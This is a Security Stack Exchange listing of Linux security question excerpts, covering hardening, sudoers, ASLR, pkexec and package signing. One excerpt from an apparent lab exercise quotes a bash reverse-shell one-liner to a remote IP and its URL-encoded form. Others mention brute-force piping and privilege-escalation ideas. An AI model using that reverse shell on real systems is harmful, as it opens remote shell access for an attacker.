Questions tagged [linux]

Securing Linux systems and applications; understanding Linux security features.

Filter by
Sorted by
Tagged with
2 votes
1 answer
89 views

Where to store the password: in RAM or another user's home folder (Linux)

There is user1 and user2. All work is done from under user1. user2 is only created to store important information. If important information is stored in RAM, but in the session of user1, which is ...
user avatar
  • 25
-2 votes
0 answers
29 views

Linux kernel version 4.x [closed]

I'm applying for a Linux developer job. One of the questions is: "What linux distro uses version 4.X (specifically, version 4.4x)?"
user avatar
0 votes
0 answers
9 views

Grep reversed hostnames from the file [migrated]

I have a big file containing reversed hostnames like, com.example au.test uk.follow org.dev io.github nl.payper How can I grep all the hostnames From com.example to example.com Or nl.payper to payper....
user avatar
2 votes
0 answers
36 views

Why I am unable to execute insmod on the docker container?

I have started an unprivileged docker container and trying to start the privileged exec session. It has CAP_SYS_MODULE capabilities, but still, I am getting operations not permitted in insmod. docker ...
user avatar
  • 121
2 votes
1 answer
55 views

Linux access control policies sudoers

I'm learning about linux hardening and I'm creating a sudoers file. My idea is to separate things. There will be a user to see log files, another that can sudo to manage system processes, another for ...
user avatar
  • 21
0 votes
0 answers
38 views

Headers X-XSS-Protection issue

I want to clear my doubt that Is there any issues coming from adding 'Strict-Transport-Security' and 'X-XSS-Protection' headers ? Header set Strict-Transport-Security "max-age=10886400; Header ...
user avatar
0 votes
0 answers
24 views

Resources for learning the fundamental principles of OS hardening (and how to test) [closed]

I was recently added ("tossed" is perhaps a better term) to a project that dabbles in the world of cybersecurity. My employer gave me the task testing a server our company is developing ...
user avatar
0 votes
0 answers
66 views

Encrypt SVN for passwords

Could anyone give me advice on the best way to encrypt the SVN version control system on a Amazon Linux 2 instance? I am planning to encrypt or disable the SVN from asking if unencrypted passwords ...
user avatar
0 votes
0 answers
38 views

Ways to bypass stack protection

I'm on my journey to binary explotation, and it seems that at the time "Art of Exploitation" was written, things related to stack protection have been changed. Only after using -fno-stack-...
user avatar
0 votes
0 answers
22 views

File traversal vulnerability found on Ubuntu server running a node process using Nessus

I have an Ubuntu server running a normal Node express framework app and a vulnerability was found by a tool called Nessus. It looks like a pretty standard issue to me, and I will have shell access, ...
user avatar
  • 101
3 votes
0 answers
116 views

What are the dangers of using mainstream Linux distributions? [closed]

Niche Linux distributions can/may introduce risks such as lack of updates, limited community attention and reduced testing. Ubuntu, openSUSE and Fedora can be considered mainstream. Mainstream ...
user avatar
  • 301
15 votes
2 answers
2k views

What are the dangers of using niche Linux distributions?

Ubuntu, openSUSE and Fedora can be considered mainstream. In comparison distributions such as Solus, MX Linux, antiX, Void and others could be classed as niche. Mainstream distributions are typically ...
user avatar
  • 301
3 votes
2 answers
174 views

Privilege escalation through arbitrary file delete

Assuming that I can delete arbitrary files on a linux system as a non-privileged user, what methods exist to escalate my privileges this way?
user avatar
0 votes
0 answers
44 views

How does ASLR work [duplicate]

I have read about ASLR and understand that it randomizes the location in memory where an executable is loaded every time it is run. But I have a doubt, take an example of an elf executable. It tells ...
user avatar
  • 1
0 votes
1 answer
85 views

safely storing untrusted files on a trusted machine

given a collection of files (text and binary) that are likely to have been modified by a resourceful and motivated adversary in a targeted attack, is there a security risk to copying that collection ...
user avatar
  • 1
0 votes
2 answers
59 views

Lab environment, allow ssh version 1

When trying to access a Cisco VM router in a GNS3 environment I'm getting the error: SSH protocol v.1 is no longer supported when I'm using the command sshpass -p Cisco ssh Cisco@192.168.224.7 -1. I ...
user avatar
22 votes
2 answers
4k views

What metadata from the Linux file system is in my uploaded photos?

Before uploading a photo or image to a forum, I may typically strip the metadata to remove identifying material with exiftool. The thing is, the Linux file system itself seems to leave some metadata ...
user avatar
  • 357
3 votes
0 answers
97 views

When using VirtualBox, is it better to use the VirtualBox encryption or the OS disk encryption?

VirtualBox has an option to encrypt the drive of a VM. When I installed Debian or Ubuntu, I have the option to say that I want the full disk encrypted. I'm thinking that both do pretty much the same ...
user avatar
0 votes
1 answer
32 views

Does adding a new user (instead of just using root) help WSL2 security?

Does adding a non-root user do anything except hinder your own ability to make mistakes? Given the new updates on file perms in WSL2 (docs on file perms, more docs), doing everything as root on linux ...
user avatar
  • 1,128
0 votes
0 answers
42 views

Is there a configuration which would have prevented the recent Firefox vulnerability mfsa2022-09?

Recently, some critical vulnerabilities, mfsa2022-09 were discovered in Firefox. Can someone tell if there is any configuration in Linux or Firefox that could have prevented an exploitation of this ...
user avatar
  • 127
0 votes
0 answers
18 views

How To First Strip and Then Sign Kernel Modules at Complie Time

It seems easy to sign kernel modules at compile time. Apparently, you just set CONFIG_MODULE_SIG_ALL=y in your .config file and then the compiler will perhaps give you the appropriate errors until you ...
user avatar
0 votes
0 answers
30 views

TCP SYN/ACK on INPUT vs FORWARD

Are there any legitimate circumstances under which TCP SYN+ACK packets would arrive at a Linux firewall's INPUT chain, if it did not leave via the OUTPUT chain? That is, am I correct in assuming that ...
user avatar
  • 111
0 votes
0 answers
14 views

How to pipe a character set on hydra [duplicate]

How to pipe a characterset to Hydra. Something like this which can be done on hashcat (crunch 8 8 123456789| hashcat -m 0 ce5cff0195a6b059a32411b6202ab49)
user avatar
0 votes
1 answer
35 views

Is it possible to spoof a service running on a port in Ubuntu?

I was looking into the idea of port spoofing, and I came across this GitHub repository. I'm mainly looking to disguise my computer as something else, whereas this program opens every TCP port and ...
user avatar
0 votes
0 answers
75 views

Hash-Based Technique to Detect Ransomware Corruption on the Fly?

I have developed an Excel spreadsheet to compare lists of SHA-512 hashes from two separate drives. One drive is the source data drive on a Windows machine. The other is a backup of that drive, ...
user avatar
1 vote
1 answer
73 views

Security difference between changing permissions versus using sudo to execute

If there is a program written by a normal user that requires root privileges (eg. a program that interacts with root processes) what is the difference between running this program using sudo vs. ...
user avatar
2 votes
1 answer
33 views

ld.so Secure-execution mode a valid mitigation for polkit CVE-2021-4034?

I was browsing the ld.so man page and I saw an entry about Secure-Execution mode: **Secure-execution mode** For security reasons, if the dynamic linker determines that a binary should ...
user avatar
0 votes
2 answers
66 views

Can openssl client be used for checking if the server key size is what is expected?

I was wondering if it is possible for openssl to check the server public key size. Currently, I am connecting to the server using: openssl s_client -connect "ip address":"port" -...
user avatar
1 vote
1 answer
86 views

How does gVisor run its own kernel replacement under Docker for security? [closed]

I learned about gVisor from https://security.stackexchange.com/a/259275/133925 . It runs containers under a custom kernel, written in Go, with very intense security. My question is: The whole point ...
user avatar
2 votes
1 answer
116 views

Avoid stack addresses containing zeros

I'm learning some hacking with Erickson's "The Art of Explotation". To try out the exploits myself, I'm using C on a virtual maching with 32-bit Debian on my windows laptop (in VirtualBox). ...
user avatar
  • 131
6 votes
1 answer
238 views

Why is the mount option "hidepid=2" not used by default, is there a danger in using it?

While searching for an answer to the question "how to hide command arguments from ps/proc etc", I came across the hidepid mount option, which hides a user's own processes from another user (...
user avatar
  • 635
2 votes
0 answers
2k views

What exactly is the pkexec bug and how to patch it on CentOS 7? [closed]

There is bug in pkexec program, CVE-2021-4034, which when exploited allows access to root shell. Is the best way to fix an unpatched CentOS 7 server to just apply the temporary fix of running chmod ...
user avatar
1 vote
0 answers
41 views

Does flatpak enforce cryptographic authentication and integrity validation by default for all packages? (fedora)

Does the flatpak package manager in Fedora-based systems require successful cryptographic authentication and integrity validation for all packages? I know that software downloaded with apt-get ...
user avatar
0 votes
0 answers
80 views

Using GPG from another user (GNU/Linux)

I want to use gpg from another user (user2), so that the primary user (user1) does not have access to the encrypted file, but only to the part the script will output. Added a sudo rule for user1 to ...
user avatar
  • 635
0 votes
0 answers
30 views

Weird Problem with Virtual Machine and Comodo

I am new to this forum and I have the following issue: Some days ago, I clicked on a pop up-window in my Linux-VM that said I need to Update some features or so ... after I clicked "Okay", ...
user avatar
  • 1
18 votes
5 answers
7k views

Is it really safe to pass sensitive data to another script via stdin, compared to passing via arguments (Linux)

Yes, the transfer to the script via arguments is visible through ps -ax, /proc/<pid>/cmdline etc., BUT if someone has already gained access to your account from the outside (e.g. by hacking your ...
user avatar
  • 635
0 votes
0 answers
53 views

Red Hat Password Security Settings(/etc/pam.d/system-auth, /etc/login.defs)

I'm doing Red Hat (RHEL 6.5) security settings. If I set up the two files as shown below, is there no security effect on each other? /etc/pam.d/system-auth password requisite pam_cracklib.so retry=3 ...
user avatar
1 vote
0 answers
74 views

Use side-channel attack to steal file with permission 600? [closed]

Alice and Bob are on the same file system. Alice made a spam filter plugin, which reads /tmp/mail and then writes the report to /tmp/report. The /tmp/mail has permission 400 and /tmp/report has ...
user avatar
  • 113
0 votes
1 answer
83 views

Loop device added at package installation - is it a security threat?

I just noticed a strange loop device that was added to my machine today. It is mounted under /run/media/<user>/CENA_X86FREE_EN-US_DV9 and seems to contain Windows files, probably a Windows ...
user avatar
  • 422
2 votes
1 answer
171 views

Usage of TPM PCRs in Linux

Where can I find the list of what each PCR "represents" in the TPM for a Linux OS? The official guide I found (https://trustedcomputinggroup.org/wp-content/uploads/...
user avatar
  • 121
27 votes
5 answers
9k views

Why do I need the root password when mounting an internal drive in Linux?

What is this restriction for in terms of safety? And when connecting external drives via USB, the root password is not required. I can't understand the logic. I use the following rule in the fstab to ...
user avatar
  • 635
4 votes
1 answer
746 views

Why does VPN forbid unrelated user logins on client machine?

Not looking for any solutions here, just explanation. I work remotely for a university in another state; they supply a proprietary VPN to connect to their network. I work on a Ubuntu machine and for ...
user avatar
  • 43
0 votes
1 answer
155 views

Is AppArmor used in production environments? [closed]

I was recently having a conversation with a friend about his server system (he does a lot of self-hosting) and he mentioned he was in the middle of configuring SELinux. I was curious about the ...
user avatar
2 votes
1 answer
72 views

Child processes vs microservices for communication between components

This is a question for operating system security experts. We have an application using one platform/language, and it has to integrate with a library that uses another platform/language. There is no ...
user avatar
  • 234
0 votes
1 answer
79 views

Why I can't perform buffer overflow directly from bash

Maybe is a silly question but I can't understand exactly why this type of buffer overflow does not work... Let's me explain with an example. Suppose we have a program written in c. This program has 2 ...
user avatar
  • 3
2 votes
1 answer
54 views

Does yum enforce cryptographic authentication and integrity validation by default for all packages? (CentOS, RHEL)

Does the yum package manager in CentOS/RHEL-based systems require successful cryptographic authentication and integrity validation for all packages? I know that software downloaded with apt-get ...
user avatar
0 votes
0 answers
84 views

sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response

This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+ It used to work just fine and I'd ...
user avatar
2 votes
1 answer
125 views

Why is sudo's usage of timestamp files insecure?

Sudo and Opendoas on Linux use timestamp files to keep track of how long it's been since you've last entered your password. Doas on BSD uses a kernel feature instead. Why is the latter considered more ...
user avatar
1 vote
1 answer
113 views

Is it possible to recover data from a bricked smartphone?

I have a smartphone that got bricked last year without warning, and it was deemed unrepairable by multiple repair centers. I did have personal stuff on it. If I recycle this phone, can someone down ...
user avatar
0 votes
0 answers
47 views

Could my Windows 7 VM access my network and perhaps my host internet history or data?

I have a Windows 7 Pro VM running on an Ubuntu 20.04 host. I'm a bit new to VirtualBox and set up the VM but it was too slow to do anything so I took a snapshot and closed it. I think my Ubuntu host ...
user avatar
  • 23

1
2 3 4 5
41